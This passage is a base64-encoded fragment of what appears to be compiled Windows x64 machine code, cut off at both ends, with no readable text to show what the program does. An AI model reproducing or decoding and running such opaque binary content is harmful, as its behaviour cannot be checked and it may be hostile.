+EKQIAAExjBQmwAQBIjS1yeQAATWnAiAAAAEljVChISIsMOkiL1kiJSFhIYw3krwEASGnJiAAAAEhjRClMSIsMOEiJS2BIYwXJrwEASGnAiAAAAEhjRChQSIsMOEiJS2hIYwWurwEASGnAiAAAAEhjRCggSIsMOEiJC0iLy+jHAQAASGMFjK8BAEiNSwhIacCIAAAASGNEKChIi9bzD28EOPMPfwHoSwr//0hjBWSvAQBIjUsYSGnAiAAAAEhjRCgkSIsUOEiJEUiL1uh5AQAASGMFPq8BAEiNSyBIacCIAAAASGNEKCxIi9bzD28EOPMPfwHo/Qn//0hjBRavAQBIjUswSGnAiAAAAEhjRCg4SIsUOEiJEUiL1ugrAQAASGMF8K4BAEiNSzhIacCIAAAASGNEKDRIi9bzD28EOPMPfwHorwn//0hjBciuAQBIjUtISGnAiAAAAEhjRCgwSIvW8w9vBDjzD38B6IcJ//9MYx2grgEATWnbiAAAAEljRCtAiww4iUtwSGMFh64BAEiNS3hIacCIAAAASGNEKETzD28EOEiL1vMPfwHodgEAAExjHV+uAQBIi9ZNaduIAAAASWNEKzyLDDiJi4gAAABIYwVArgEASGnAiAAAAEhjRChUiww4iYuMAAAASGMFJK4BAEhpwIgAAABIY0QoXIsMOImLkAAAAEhjBQiuAQBIjYuYAAAASGnAiAAAAEhjRChY8w9vBDjzD38B6PcAAABIi2wkOEiLdCRASIvDSItcJDBIg8QgX8PMzMxMi9xJiVsISYlrEEmJcxhXSIPscEiLAYNkJEAASYNj0ABIi9lJjUvYSIvySYlLqEmNS8hJiUO4SYlTwEmJS7BIhcB0f0iDIwBJjVO4SY1LqEG4CAAAAOgl2f7/hcB0ZA+3RCRSuUAAAAD/yMHgBIPAGIvQi+j/FWFxAABIi/hIhcB0QEiNVCQwSI1MJCBMi8VIiQNIiUQkIOjj2P7/hcB0IjPbD7dHAjvYcxiLw0iL1kgDwEiNTMcI6O8H////w4XAdeBMjVwkcEmLWxBJi2sYSYtzIEmL41/DzMzMTIvcU0iD7FBIi0EIg2QkMABJg2PIAEmDY+AASIvZSY1L2EiDYwgASYlD6EmJU/BJiUvQSIXAdC2LE7lAAAAA/xW7cAAASIlEJCBIhcB0FkSLA0iNVCRASI1MJCBIiUMI6D/Y/v9Ig8RQW8PMSIlcJAhIiWwkEEiJdCQYV0iD7CAz7UiL2Ug7zXQxi/VmO2kCcyBIjXkQSIsPSDvNdAb/FWRwAAAPt0MC/8ZIg8cQO/By5EiLy/8VTXAAAEiLXCQwSItsJDhIi3QkQEiDxCBfw0iD7DhIjQV1dQAASI1UJCBIjQ2R2f//SIlEJCDHRCQoAQAAAOjL1f//SIPEOMPMzEiLxEiJWAhXSIHsIAEAADP/SI1AiEiL2UiLCUiJRCRQSI1EJGBIiUQkWIl8JGBIiXwkaEiJfCRASIsBSIlEJEg5Pc6SAQB1QkiNBamrAQBIiXwkMESNTwFMjQXBkgEASI0VipIBAEiJfCQoSIlEJCDo2+P//zvHdRFIjQ04zwAA6E/f/v/pmQAAAEiLBWerAQBMi0MQSI1MJEC6QAAAAEiJRCRA6Bvl//9IiUQkQEg7x3RwSI1UJEBIjUwkUEG4aAAAAOjc1v7/O8d0V0iLhCQQAQAASIlEJEBIO8d0RUiNRCRwSI1UJEBIjUwkUEG4OAAAAEiJRCRQ6KfW/v87x3QiSIsDSItTEEG4AAAAEIF4ENckAABIjUwkeEQPRcfoad7//0iLnCQwAQAASIHEIAEAAF/DSIPsOEiNBQl0AABIjVQkIEiNDS3Y//9IiUQkIMdEJCgBAAAA6GfU//9Ig8Q4w8zMTItJEEiLUTBIiwlMjQUGAAAA6R0CAADMSIlcJAhIiWwkEEiJdCQYV0iD7CBIi/lMjUEISI0NOl4BAEmL8bsAAAAI6Cne/v9IjRV2cwAASI1PCEUzwOiMCAAAhMB0B7sAAAAJ6x1IjRVocwAASI1PCEUzwOhuCAAAuQAAAAqEwA9F2UiNTxhEi8NIi9bol93//0iLXCQwSItsJDhIi3QkQLgBAAAASIPEIF/DzEiLxEiJWAhIiWgQSIlwGFdIg+xASItZIINg2ABIg2DgAEiJWOhIjUDYSYvoSIv5SI0V4nIAAEUzwEiDwQhIiUQkOEmL8ejwBwAAhMAPhL4AAABIiwYPt1cYSItICEiLQSBIi8v/EEiLRghIi0gISIXJdA/zD28BxkNUAfMPf0Mg6w0zwEiJQyBIiUMoiENUM8BIi8tIiUMwSIlDOEiJQ0BIiUNIiUNQiENViENWSIsGSItQCEiLQhgPt1cY/xBIi1UASI0NH10BAOj23P7/RA+3RxhIjVQkMEiLzei01P7/SItOCIlBIEiLRgiDeCAAdAlIjQ0YXQEA6x3/FYhsAABIjQ0ZXQEAi9Dottz+/+sMSI0NqV0BAOio3P7/SItcJFBIi2wkWEiLdCRguAEAAABIg8RAX8PMzEiD7DhMiwpMi0EQSIlMJCBIiVQkKEGLAUE5AHUmQYtBBEE5QAR1HEiLUTBIiwlMjUwkIEyNBY7+///oEQAAADPA6wW4AQAAAEiDxDjDzMzMTIvcSYlbCEmJcxBXSIHskAAAAINkJEAASYNjmABJg2OwAEmNQ6hJi/lJi/BJiUOgSIsBSIvZSYlTiEmJQ5BIhdIPhPkAAABIjUQkUEiNVCQgSI1MJDBBuBgAAABIiUQkMOim0/7/hcAPhLgAAABIi0QkYOmUAAAASI1EJGhIjVQkIEiNTCQwQbgoAAAASIlEJDDoddP+/4XAdGBIi4QkiAAAAEiLE0iNjCSAAAAASIlEJCDogAL//4XAdEtIixNIjUwkcOhvAv//hcB0HotUJFhMjUQkIEiNTCRoTIvP/9ZIi0wkeP8VhWsAAEiLjCSIAAAA/xV3awAA6wxIjQ1GXAEA6DXb/v9Ii0QkaEiJRCQgSIXAD4Ve////SItEJFBIiUQkIOsRSI0Ne1wBAOgK2/7/SItEJCBIhcAPhQf///9MjZwkkAAAAEmLWxBJi3MYSYvjX8PMzMxIg+w4SI0FJXAAAEiNVCQgSI0NcdT//0iJRCQgx0QkKAEAAADoq9D//0iDxDjDzMxMi9xJiVsIV0iB7NAAAACDZCRgAEiDZCRAAEmDY5AASY1DmEiL2UiLCUiJRCRQSY1DiDP/SYlDgEiLAUiJRCRIOT3+iwEAdUJIIXwkMEghfCQoSI0Fh6YBAESNTwNMjQUMjAEASI0VtYsBAEiJRCQg6Lve//+FwHURSI0NGMoAAOgv2v7/6b4AAABIiwVPpgEASI1UJEBIjUwkUEG4EAAAAEiJRCRA6NnR/v+FwA+ElQAAAOt8SI1UJEBIjUwkUEG4YAAAAOi60f7/hcB0ekiLSxCLhCSIAAAAOQF1VIuEJIwAAAA5QQR1SEiDvCSoAAAAAHUWSIO8JLgAAAAAdQtIg7wkyAAAAAB0J0iNDVdVAQCL1+ic2f7/SItTEEiNjCSgAAAAQbgAAADA/8foO9n//0iLRCRwSIlEJEBIOwWepQEAD4Vt////SIucJOAAAABIgcTQAAAAX8PMzMxIg+w4SI0FkW4AAEiNVCQgSI0N5dL//0iJRCQgx0QkKAEAAADoH8///0iDxDjDzMxAU0iB7EABAACDZCRgAEiDZCRoAEiDZCRAAIM994kBAABIjYQksAAAAEiL2UiLCUiJRCRQSI1EJGBIiUQkWEiLAUiJRCRIdUZIg2QkMABIg2QkKABIjQUBpQEATI0FwokBAEiNFYuJAQBBuQEAAABIiUQkIOgr3f//hcB1EUiNDYjIAADon9j+/+mLAAAASIsFx6QBAEyLQxBIjUwkQLpsAAAASIlEJEDoV9///0iJRCRASIXAdGJIjVQkQEiNTCRQQbiQAAAA6CzQ/v+FwHRJSIuEJDgBAABIiUQkQEiFwHQ3SI1EJHBIjVQkQEiNTCRQQbg4AAAASIlEJFDo98/+/4XAdBRIi1MQSI1MJHhBuAAAAEDox9f//0iBxEABAABbw8zMSIPsOEiNBTVtAABIjVQkIEiNDZHR//9IiUQkIMdEJCgBAAAA6MvN//9Ig8Q4w8zMTIvcSYlbCFdIg+xwg2QkYABJg2PYAEmDY8gASYNj8ACDPV2HAQAASY1D6EiL2UiLCUmJQ+BIiwFJiUPQdUlIjQWvowEATI0FRIcBAEiNFQ2HAQBJiUO4SYNjsABIjQWtowEAQbkDAAAASYlDqOje2///hcB1EUiNDTvHAADoUtf+/+mDAAAASIsFgqMBAEyLQxBIYz1bowEASI1MJEC6IAAAAEiJRCRA6Bfd//9IiUQkQEiFwHRTSI1XMLlAAAAA/xU6ZwAASIlEJFBIhcB0OkyNRzBIjVQkQEiNTCRQ6MHO/v+FwHQYSGMNBqMBAEiLUxBFM8BIA0wkUOiN1v//SItMJFD/Ff5mAABIi5wkgAAAAEiDxHBfw/8lAmMAAP8lBGMAAP8lBmMAAP8lkGMAAP8lqmMAAP8lRGQAAP8lRmQAAP8lUGQAAP8lamQAAP8l7GcAAP8lxmcAAP8lyGcAAP8lymcAAP8lzGcAAP8l7mYAAP8l8GYAAP8lmmYAAP8lnGYAAP8lnmYAAP8loGYAAP8lomYAAP8lpGYAAP8lzmYAAP8l0GYAAP8l0mYAAP8lpGYAAP8llmYAAP8liGYAAP8lCmcAAP8lFGcAAP8lBmcAAP8l6GYAAP8l6mYAAP8lLGcAAP8lFmcAAP8lGGcAAP8lwmgAAP8lxGgAAP8lxmgAAP8lyGgAAP8lymgAAP8lzGgAAP8lzmgAAP8l0GgAAP8l0mgAAP8l1GgAAP8l1mgAAP8l2GgAAP8l2mgAAP8l3GgAAP8l3mgAAP8l4GgAAEBTSIHsMAUAAEiNTCRg/xU0ZAAASIucJFgBAABIjVQkQEiLy0UzwP8VI2QAAEiFwHQ5SINkJDgASItUJEBIjUwkSEiJTCQwSI1MJFBMi8hIiUwkKEiNTCRgTIvDSIlMJCAzyf8V72MAAOsgSIuEJDgFAABIiYQkWAEAAEiNhCQ4BQAASImEJPgAAABIjQ2OaAAA/xXIYwAASIHEMAUAAFvDzMzMSIPsOEiLRCRgSIlEJCDoSf///0iDxDjD/yWuZgAAzMxAU0iD7CBFixhIi9pMi8lBg+P4QfYABEyL0XQTQYtACE1jUAT32EwD0UhjyEwj0Uljw0qLFBBIi0MQi0gISANLCPZBAw90DA+2QQOD4PBImEwDyEwzykmLyUiDxCBb6TkAAADMSIPsKE2LQThIi8pJi9Hoif///7gBAAAASIPEKMPMzMzMzMzMzMzMzMzMzMzMzGZmDx+EAAAAAABIOw1pgAEAdRJIwcEQZvfB//91A8IAAEjByRDptAUAAEBTSIPsMEiL2UiFyXQpSIXSdCRNhcB0H+jPEwAAhcB5OsYDAIP4/nUv/xXBZQAAxwAiAAAA6wz/FbNlAADHABYAAABIg2QkIABFM8lFM8Az0jPJ6Mz+//+DyP9Ig8QwW8PMzMxMiUQkGEyJTCQgSIPsKEyNTCRI6IT///9Ig8Qow8zMzEiJXCQIV0iD7DAz/0iL2Ug7z3QpSDvXdiRMO8d0H+glIAAAO8d9OWaJO4P4/nUu/xU3ZQAAxwAiAAAA6wz/FSllAADHABYAAABFM8lFM8Az0jPJSIl8JCDoQ/7//4PI/0iLXCRASIPEMF/DzEyJRCQYTIlMJCBIg+woTI1MJEjofP///0iDxCjDzMzMSIlUJBBMiUQkGEyJTCQgV0iD7DBMi8JMi9FIhdJ1Jv8Vu2QAAEiDZCQgAEUzyUUzwDPSM8nHABYAAADo1P3//4PI/+sgSIPJ/zPASYv6ZvKvTI1MJFBI99FIjVH/SYvK6Ic2AABIg8QwX8PMSIPsKLkAAQAA/xW9ZAAASIkFzp4BAEiJBb+eAQBIhcB1B7gBAAAA6wZIgyAAM8BIg8Qow0iJXCQISIlsJBBWV0FUQVVBVkiD7CAz202L4EyL6TvTD4WpAAAAiwX4lgEAO8MPjpQAAACNewErx4kF5ZYBAOsLuegDAAD/FSRiAAAzwPBID7E9SZ4BAHXoiwU5ngEAg/gCdA+5HwAAAOgiNwAA6UYBAABIiy02ngEASDvrdDdIizUingEASIPG+OsOSIsGSDvDdAL/0EiD7ghIO/Vz7UiLzf8VwGMAAEiJHfmdAQBIiR36nQEAiR3cnQEASIcd3Z0BAOnxAAAAM8Dp7AAAAL8BAAAAO9cPhd0AAABlSIsEJTAAAACL60iLcAjrEEg7xnQauegDAAD/FXNhAAAzwPBID7E1mJ0BAHXj6wKL74sFhJ0BADvDdAy5HwAAAOhuNgAA61dIjTWtZAAATI01tmQAAIk9YJ0BAIvDSTv2cx87w3WFSIsOSDvLdAL/0UiDxghJO/Zy6TvDD4Vq////SI0Va2QAAEiNDVxkAADoGTYAAMcFHZ0BAAIAAAA763UKSIvDSIcFF50BAEg5HTCdAQB0IUiNDSedAQDoqjUAADvDdBFNi8S6AgAAAEmLzf8VDZ0BAAE9a5UBAIvHSItcJFBIi2wkWEiDxCBBXkFdQVxfXsPMzEyJRCQYiVQkEEiJTCQIU1ZXSIHsQAEAAIv6SIvxuwEAAACJXCQgiRXAfAEAhdJ1EzkVGpUBAHULM9uJXCQg6ZMBAACD+gF0BYP6AnV4SIsFkJwBAEiFwHQxxwXxlAEAAQAAAEyLhCRwAQAA/9CL2IlEJCDrFTPbiVwkIIu8JGgBAABIi7QkYAEAAIXbdC9Mi4QkcAEAAIvXSIvO6Iz9//+L2IlEJCDrFTPbiVwkIIu8JGgBAABIi7QkYAEAAIXbD4QRAQAATIuEJHABAACL10iLzujtNAAAi9iJRCQg6xUz24lcJCCLvCRoAQAASIu0JGABAACD/wF1c4XbdW9FM8Az0kiLzui6NAAA6xOLvCRoAQAASIu0JGABAACLXCQgRTPAM9JIi87oAP3//+sTi7wkaAEAAEiLtCRgAQAAi1wkIEiLBZybAQBIhcB0H0UzwDPSSIvO/9DrE4u8JGgBAABIi7QkYAEAAItcJCCF/3QFg/8DdWFMi4QkcAEAAIvXSIvO6KX8//+L2IlEJCDrFTPbiVwkIIu8JGgBAABIi7QkYAEAAEiLBTmbAQBIhcB0JoM9nZMBAAB0HUyLhCRwAQAAi9dIi87/0IvYiUQkIOsGM9uJXCQgxwUMewEA/////4vDSIHEQAEAAF9eW8PMzMxIiVwkCEiJdCQQV0iD7CBJi/iL2kiL8YP6AXUF6LszAABMi8eL00iLzkiLXCQwSIt0JDhIg8QgX+nT/f//zMzMSIlMJAhIgeyIAAAASI0NuZMBAP8V+1wAAEyLHaSUAQBMiVwkWEUzwEiNVCRgSItMJFjoEVQAAEiJRCRQSIN8JFAAdEFIx0QkOAAAAABIjUQkSEiJRCQwSI1EJEBIiUQkKEiNBWSTAQBIiUQkIEyLTCRQTItEJFhIi1QkYDPJ6L9TAADrIkiLhCSIAAAASIkFMJQBAEiNhCSIAAAASIPACEiJBb2TAQBIiwUWlAEASIkFh5IBAEiLhCSQAAAASIkFiJMBAMcFXpIBAAkEAMDHBViSAQABAAAASIsFvXkBAEiJRCRoSIsFuXkBAEiJRCRwM8n/FQRcAABIjQ0tYQAA/xX/WwAA/xUZXQAAugkEAMBIi8j/FfNbAABIgcSIAAAAw8z/JUxfAAD/JU5fAADMzEBTSIPsIPZCGEBJi9h0DEiDehAAdQVB/wDrJoNCCP94DUiLAogISP8CD7bB6wgPvsno3kwAAIP4/3UECQPrAv8DSIPEIFvDzIXSfkxIiVwkCEiJbCQQSIl0JBhXSIPsIEmL+UmL8IvaQIrpTIvHSIvWQIrN/8vohf///4M//3QEhdt/50iLXCQwSItsJDhIi3QkQEiDxCBfw8zMzEiJXCQISIlsJBBIiXQkGFdIg+wgQfZAGEBJi/lJi/CL2kiL6XQMSYN4EAB1BUEBEes4hdJ+NIpNAEyLx0iL1v/L6B7///9I/8WDP/91GP8VHF4AAIM4KnURTIvHSIvWsT/o/v7//4Xbf8xIi1wkMEiLbCQ4SIt0JEBIg8QgX8PMQFNVVldBVEiD7FBIiwU+eAEASDPESIlEJED2hCSoAAAAAUGL2UmL6EiL8kyL4XQDg+sg9oQkqAAAAIDGRCQgJbgBAAAAdArGRCQhI7gCAAAAi4wkoAAAAEiNVAQhQbgKAAAAxkQEIC7/FXpdAABIg8n/M8BIjXwkIEyNRCQg8q4z/0iL1Uj30UCIfC7/iFwMH0CIfAwgSIvO8kEPEBwkZkkPftn/FfZdAABAOHwu/3UIO8d+BDPA6whAiD64FgAAAEiLTCRASDPM6BL3//9Ig8RQQVxfXl1bw8zMzEBTVldIg+xASIsFZXcBAEgzxEiJRCQ4SYvYSIvySIv5SIXSdRVIhdt0EEiFyQ+EvQAAACER6bYAAABIhcl0A4MJ/0iB+////392Df8Vw1wAALsWAAAA62hIjUwkMEEPt9H/FZ1cAACFwHkoSIX2dBJIhdt0DUyLwzPSSIvO6H79////FYxcAAC5KgAAAIkIi8HrX0iF/3QCiQc72H09SIX2dBJIhdt0DUyLwzPSSIvO6Ev9////FVlcAAC7IgAAAEiDZCQgAEUzyUUzwDPSM8mJGOhx9f//i8PrF0iF9nQQSI1UJDBMY8BIi87oCv3//zPASItMJDhIM8zoBfb//0iDxEBfXlvDzEiJXCQgVVZXQVRBVUFWQVdIgeygAgAASIsFTnYBAEgzxEiJhCSYAgAAM9tIi/JNi/hIi+lIiUwkaESL24lcJFREi+NEi9OJXCRAi9OJXCQ0RIvLiVwkMIlcJFiJXCRgiVwkUEg7y3Uo/xWeWwAARTPJRTPAM9IzyUiJXCQgxwAWAAAA6Lj0//+DyP/pSwkAAEg783TTQIo+iVwkOESL64lcJEhEi8NIiVwkeEA6+w+EIwkAAEiLnCSAAAAASYPO/zPJSP/GOUwkOEiJtCSAAAAAD4y3BgAAjUfgPFh3FUiNDTddAABID77HD7ZMCOCD4Q/rBDPAi8hIY8FIjQzASWPASAPISI0FEV0AAEQPtgQBQcHoBESJRCRcQYP4CA+EjQgAADPAQYvIRDvAD4QkCAAAg+kBD4TwBwAAg+kBD4SXBwAAg+kBD4RRBwAAg+kBD4Q9BwAAg+kBD4QHBwAAg+kBD4RSBgAAg/kBD4UQBgAAQA++x4P4ZA+PsgEAAA+EhgIAAIP4QQ+EjwEAAIP4Qw+EFgEAAIP4RQ+EfQEAAIP4Rw+EdAEAAIP4Uw+ErwAAAIP4WA+EFQIAAIP4WnQXg/hhD4RtAwAAg/hjD4TpAAAA6TAEAABJiw9Jg8cIM/ZIO850XUiLWQhIO950VA+3AWY5QQIPgqQHAABBD7rkC0QPt+hzLkGLxffQqAEPhIwHAACLw/fQqAEPhIAHAABB0e3HRCRQAQAAAESJbCRI6dMDAACJdCRQRIlsJEjpxQMAAEiLHTV0AQAzwEmLzkiL+/KuSPfRSP/JTIvp6aIDAABB98QwCAAAdQVBD7rsC0mLH0E71ovCuf///38PRMFJg8cIM/ZB98QQCAAAD4QMAQAASDvex0QkUAEAAABID0Qd4XMBAEiLy+niAAAAQffEMAgAAHUFQQ+67AtJg8cIQffEEAgAAHQyRQ+3T/hIjZQkkAAAAEiNTCRIQbgAAgAA6BX8//9Ei2wkSDPJO8F0IMdEJGABAAAA6xZBikf4Qb0BAAAAiIQkkAAAAESJbCRISI2cJJAAAADp6gIAAEG9AQAAAECAxyBEiWwkWOkKAgAAg/hlD4zNAgAAg/hnD47zAQAAg/hpD4S/AAAAg/huD4RdBgAAg/hvD4SbAAAAg/hwdGCD+HMPhAP///+D+HUPhJoAAACD+HgPhYkCAABEjViv61L/yGY5MXQISIPBAjvGdfFIK8tI0fnpYgIAAEg73kgPRB3VcgEASIvL6wr/yEA4MXQHSP/BO8Z18ivL6T0CAADHRCQ0EAAAAEEPuuwPQbsHAAAARIlcJFRBuBAAAABFhOR5L0GNQ1HGRCQ8MEWNSPKIRCQ96xxBuAgAAABFhOR5EUEPuuwJ6wpBg8xAQbgKAAAAQQ+65A9yB0EPuuQMcwlJiz9Jg8cI6y5Jg8cIQfbEIHQUQfbEQHQHSQ+/f/jrF0EPt3/46xBB9sRAdAZJY3/46wRBi3/4RTPtQfbEQHQNSTv9fQhI999BD7rsCEEPuuQPcglBD7rkDHICi/9Ei3QkNEU79X0IQb4BAAAA6xC4AAIAAEGD5PdEO/BED0/wSIvHSI2cJI8CAABI99gbyUEjyYvxiUwkMEGLzkH/zkE7zX8FSTv9dCAz0kiLx0ljyEj38UiL+I1CMIP4OX4DQQPDiANI/8vr0EiNhCSPAgAARIl0JDRJx8b/////K8NI/8NBD7rkCUSL6IlEJEgPg/UAAACFwHQJgDswD4ToAAAASP/LQf/FxgMwRIlsJEjp1QAAAESLbCRYM8C5AAIAAEGDzEA70EiNnCSQAAAAi+l9BY1QButOdQ1AgP9ndUq6AQAAAOs/O9EPT9GB+qMAAACJVCQ0fjKNsl0BAABIY87/Fd5WAABMi9hIiUQkeDPATDvYdAuLVCQ0SYvbi+7rCbqjAAAAiVQkNEWE5HkKQQ+67QdEiWwkWEmLB0mDxwhEiWwkKIlUJCBIjUwkSEQPvs9MY8VIi9NIiUQkSOg7+P//gDstdQhBD7rsCEj/wzPASYvOSIv78q5I99FI/8lEi+mJTCRIi3QkMIN8JGAAD4UtAQAAQfbEQHQvQQ+65AhzB8ZEJDwt6xhB9sQBdAfGRCQ8K+sLQfbEAnQOxkQkPCC+AQAAAIl0JDCLbCRASIt8JGhBK+0r7kH2xAx1EUyNTCQ4TIvHi9WxIOja9v//TI1MJDhIjUwkPEyLx4vW6Br3//9B9sQIdBdB9sQEdRFMjUwkOEyLx4vVsTDoqfb//zPAOUQkUHRmRDvofmFIi/NBi/1ED7cOSI2UJJACAABIjUwkcEG4BgAAAP/PSIPGAugk+P//M8k7wXUni1QkcDvRdB9Mi0QkaEyNTCQ4SI2MJJACAADoo/b//zPAO/h1s+sFRIl0JDhIi3wkaOsTTI1MJDhMi8dBi9VIi8vofPb//zP2OXQkOHwbQfbEBHQVTI1MJDhMi8eL1bEg6An2///rAjP2TItcJHhMO950DkmLy/8V3lQAAEiJdCR4SItsJGhIi7QkgAAAAItUJDREi0QkXESLTCQwRItUJEBEi1wkVECKPjPJQDr5D4U0+f//M/9EO8cPhD4CAABBg/gHD4Q0AgAA/xVjVAAASIl8JCDHABYAAADpCgIAAECA/0l0NECA/2h0KECA/2x0DUCA/3d1r0EPuuwL66iAPmx1Ckj/xkEPuuwM65lBg8wQ65NBg8wg642KBkEPuuwPPDZ1FIB+ATR1DkiDxgJBD7rsD+lu////PDN1FIB+ATJ1DkiDxgJBD7r0D+lW////PGQPhE7///88aQ+ERv///zxvD4Q+////PHUPhDb///88eA+ELv///zxYD4Qm////M8mJTCRc6fIAAABAgP8qdRpBixdJg8cIM/8714lUJDQPjQD///9Bi9brD40MkkAPvseNVEjQ6wIz0olUJDTp4/7//0CA/yp1IEWLF0mDxwgz/0Q710SJVCRAD43G/v//QYPMBEH32usNQ40MkkAPvsdEjVRI0ESJVCRA6ab+//9AgP8gdEFAgP8jdDFAgP8rdCJAgP8tdBNAgP8wD4WE/v//QYPMCOl7/v//QYPMBOly/v//QYPMAelp/v//QQ+67AfpX/7//0GDzALpVv7//zP/QYvWiXwkWIl8JGBEi9eJfCRARIvPiXwkMESL54lUJDSJfCRQ6Sv+//8zyYlMJFBAD7bP/xU3UwAAM8k7wXQdTI1EJDhIi9VAis/ohfP//0CKPjPASP/GQDr4dChMjUQkOEiL1UCKz+ho8///6cv9////FWlSAABIiXQkIMcAFgAAAOsT/xVWUgAAxwAWAAAAM8BIiUQkIEUzyUUzwDPSM8nobuv//0GLxusEi0QkOEiLjCSYAgAASDPM6BHs//9Ii5wk+AIAAEiBxKACAABBX0FeQV1BXF9eXcPMzEiJXCQISIl0JBBXSIPsYEmLwEiL2kiL8UiD+v91CsdEJDj///9/6zJIgfr///9/diX/Fc1RAAAzyUUzyUUzwDPSxwAWAAAASIlMJCDo5+r//4PI/+tuiVQkOEiJTCRASIlMJDBIjUwkME2LwUiL0MdEJEhCAAAA6Hz1//8zyTvBi/iITB7/fRQ5TCQ4fDFIO/F0MUg72XYsiA7rKINsJDgBeAlIi0QkMIgI6w9IjVQkMOhWPwAAg/j/dASLx+sFuP7///9Ii1wkcEiLdCR4SIPEYF/DQFNIg+wgi0IYSYvYZkSLwahAdAdIg3oQAHQ5g0II/rn//wAAeA1IiwJmRIkASIMCAusJg8ggRIvBiUIYZkQ7wXUSSIvK/xXNUAAAhcB0BYML/+sC/wNIg8QgW8OF0n5MSIlcJAhIiWwkEEiJdCQYV0iD7CBJi/lJi/CL2g+36UyLx0iL1g+3zf/L6HH///+DP/90BIXbf+dIi1wkMEiLbCQ4SIt0JEBIg8QgX8PMzMxIiVwkCEiJbCQQSIl0JBhXSIPsIEH2QBhASYv5SYvwi9pIi+l0DEmDeBAAdQVBARHrPYXSfjkPt00ATIvHSIvW/8voCf///0iDxQKDP/91G/8VKlAAAIM4KnUUuT8AAABMi8dIi9bo5f7//4Xbf8dIi1wkMEiLbCQ4SIt0JEBIg8QgX8NIiVwkIFVWV0FUQVVBVkFXSIHsoAQAAEiLBT5qAQBIM8RIiYQkkAQAADPbTIviTYvITIlEJEhIi/lIiUwkUIlcJHBEi+tEi9uJXCRAi9OJXCQ0RIvTiVwkMIlcJFiJXCRsi/OJXCQ4SDvLdSj/FYpPAABFM8lFM8Az0jPJSIlcJCDHABYAAADopOj//4PI/+kWCgAATDvjdNNBD7csJIlcJDxEi/NEi8NIiZwkgAAAAGY76w+E7QkAAEiLnCSIAAAASYPP/zPJSYPEAjlMJDxMiWQkeA+MaAgAAI1F4LlYAAAAZjvBdxRIjQ0eUQAAD7fFD7ZMCOCD4Q/rBDPAi8hIY8FIjQzASWPASAPISI0F+VAAAEQPtgQBQcHoBESJRCRoQYP4CA+EVAkAAEGLyEWFwA+EygcAAIPpAQ+EAQkAAIPpAQ+EmggAAIPpAQ+EUAgAAIPpAQ+EPwgAAIPpAQ+ECQgAAIPpAQ+EtgYAAIP5AQ+FvAcAAA+3xblkAAAAO8EPjyICAAAPhAoDAACD+EEPhP8BAACD+EMPhHkBAACD+EUPhO0BAACD+EcPhOQBAACD+FMPhOYAAAC5WAAAADvBD4SSAgAAg/hadBuD+GEPhAMEAACD+GMPhEsBAACLbCQw6YIAAABJiwlJg8EIM+1MiUwkSEg7zXROSItZCEg73XRFD7cBZjlBAg+CXQgAAEEPuuULRA+38HMlQYvG99CoAQ+ERQgAAIvD99CoAQ+EOQgAAI11AUHR7ol0JDjrnov1iWwkOOuWSIsdHmgBADPASYvPSIv78q5I99FMjXH/i2wkMEiLfCRQuiAAAABBuC0AAAAzwDlEJGwPhXkFAABB9sVAD4R5BAAAQQ+65QgPg0gEAABmRIlEJGDpWgQAAEH3xTAIAAB1BEGDzSBJixlBO9eL+rj///9/uiAAAAAPRPhJg8EIM+1MiUwkSESE6g+ENwEAAEg73USL9UgPRB2JZwEAO/1Ii/MPjuUDAABAOC50Gw+2Dv8VkE0AADvFdANI/8ZB/8ZI/8ZEO/d84It0JDjpSP///0H3xTAIAAB1CLggAAAARAvoQQ+3AUmDwQi+AQAAAI1OH2aJRCRciXQkOEyJTCRIRITpdDGIRCRkSIsFLk0AADPbiFwkZUxjAEiNVCRkSI2MJJAAAAD/FQpNAAA7w30OiXQkbOsIZomEJJAAAABIjZwkkAAAAESL9ulJ/v//Qb4BAAAAZoPFIESJdCRY6TQCAACD+GUPjCz+//9BuGcAAABBO8APjhACAABBjUgCO8EPhMoAAACD+G4PhKoGAABBjUgIO8EPhKMAAACD+HB0ZYP4cw+Evf7//0GNSA47wQ+EnwAAAEGNSBE7wQ+F1v3//41Br+tRSDvdvgEAAABID0QdWGYBAIl0JDhIi8PrC//PZjkodAhIg8ACO/118Ugrw0jR+ESL8ItsJDBIi3wkUOki/v//x0QkNBAAAABBD7rtD7gHAAAAiUQkcEG4EAAAAEWE7Xk0QY1QIGaDwFFFjVDyZolUJGBmiUQkYuscQbgIAAAARYTteRFBD7rtCesKQYPNQEG4CgAAAEEPuuUPcwlJizlJg8EI6z5BD7rlDHLwuCAAAABJg8EIRITodBlMiUwkSEH2xUB0B0kPv3n46xxBD7d5+OsVQfbFQHQGSWN5+OsEQYt5+EyJTCRIRTP2QfbFQHQNSTv+fQhI999BD7rtCEEPuuUPcglBD7rlDHICi/9Ei3wkNEU7/n0IQb8BAAAA6xC4AAIAAEGD5fdEO/hED0/4i3QkcEiLx0iNnCSPAgAASPfYG8lBI8qL6YlMJDBBi89B/89BO85/BUk7/nQfM9JIi8dJY8hI9/FIi/iNQjCD+Dl+AgPGiANI/8vr0Yt0JDhIjYQkjwIAAESJfCQ0K8NI/8NBD7rlCUSL8EnHx/////8Pg7H8//8z/41XMDvHdAg4Ew+EoPz//0j/y0H/xogT6ZP8//9Ei3QkWOsLRIt0JFhBuGcAAAAzwLkAAgAAQYPNQDvQSI2cJJAAAACL8X0FjVAG61N1DWZBO+h1T7oBAAAA60Q70Q9P0YH6owAAAIlUJDR+N426XQEAAEhjz/8VJUoAAEyLTCRIM8lIiYQkgAAAAEg7wXQLi1QkNEiL2Iv36wm6owAAAIlUJDRFhO15CkEPuu4HRIl0JFhJiwFJg8EIRIl0JChMiUwkSIlUJCBIjYwkiAAAAEQPvs1MY8ZIi9NIiYQkiAAAAOhy6///QbgtAAAARDgDdQhBD7rtCEj/w4t0JDiLbCQwM8BJi89Ii/uNUCDyrkiLfCRQSPfRRI1x/+mg+///i3QkOOlh/f//QfbFAXQMuCsAAABmiUQkYOsLQfbFAnQOZolUJGC9AQAAAIlsJDBEi2QkQEUr5kQr5UH2xQx1EovKTI1MJDxMi8dBi9ToA/j//0yNTCQ8SI1MJGBMi8eL1ehD+P//QfbFCHQbQfbFBHUVTI1MJDy5MAAAAEyLx0GL1OjO9///M8A78HVdRDvwflhIi/tBi/ZIiwUSSQAASI1MJFxIi9dMYwD/zv8V90gAAEhj6DPAO+h+H0iLVCRQD7dMJFxMjUQkPOgq9///M8BIA/078H/A6wVEiXwkPIt0JDhIi3wkUOsVTI1MJDxMi8dBi9ZIi8vorPf//zPAOUQkPHwbQfbFBHQVTI1MJDy5IAAAAEyLx0GL1Og19///TItkJHhIi4QkgAAAADPSSDvCD4